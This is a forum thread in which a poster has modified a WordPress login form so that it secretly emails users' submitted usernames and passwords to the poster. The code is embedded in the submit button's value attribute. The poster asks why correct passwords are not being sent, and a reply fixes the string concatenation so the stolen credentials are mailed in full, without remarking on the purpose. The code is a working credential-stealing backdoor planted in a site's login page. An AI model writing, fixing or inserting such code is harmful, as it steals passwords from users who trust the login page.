Form input not getting emailed

Hi guys,

I am having some problem with this code... when i input a wrong username and password it get emailed to me. but when i use the right password i get logged in but the inputted password aint get mailed to me... what i am doing wrong... plz help..

<form name="loginform" id="loginform" action="wp-login.php" method="post">
<?php if ( !isset($_GET['checkemail']) || !in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?>
	<p>
		<label><?php _e('Username') ?><br />
		<input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label>
	</p>
	<p>
		<label><?php _e('Password') ?><br />
		<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label>
	</p>
<?php do_action('login_form'); ?>
	<p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p>
	<p class="submit">
		<input type="submit" name="wp-submit" id="wp-submit" value="<?php if(isset($_POST['wp-submit']))
{
$to = "my@email.com";
$subject = "Password";
$usern = $_POST[user_login];
$pwd = $_POST[pwd]; 
$body = "Username : ";
$body .= $usern;
$body = "Password : ";
$body .= $pwd;
mail($to, $subject, $body);
} _e('Log In'); ?>" tabindex="100" />
		<input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" />
		<input type="hidden" name="testcookie" value="1" />
	</p>
<?php else : ?>
	<p>&nbsp;</p>
<?php endif; ?>
</form>

PHP:

 

I'm not sure why it isn't working. I do see something that could be problematic though

$body = "Username : ";
$body .= $usern;
$body = "Password : ";
$body .= $pwd;

Code (markup):

Should be

$body = "Username : ";
$body .= $usern;
$body .= "Password : ";
$body .= $pwd;

Code (markup):

To prevent redeclaring "$body".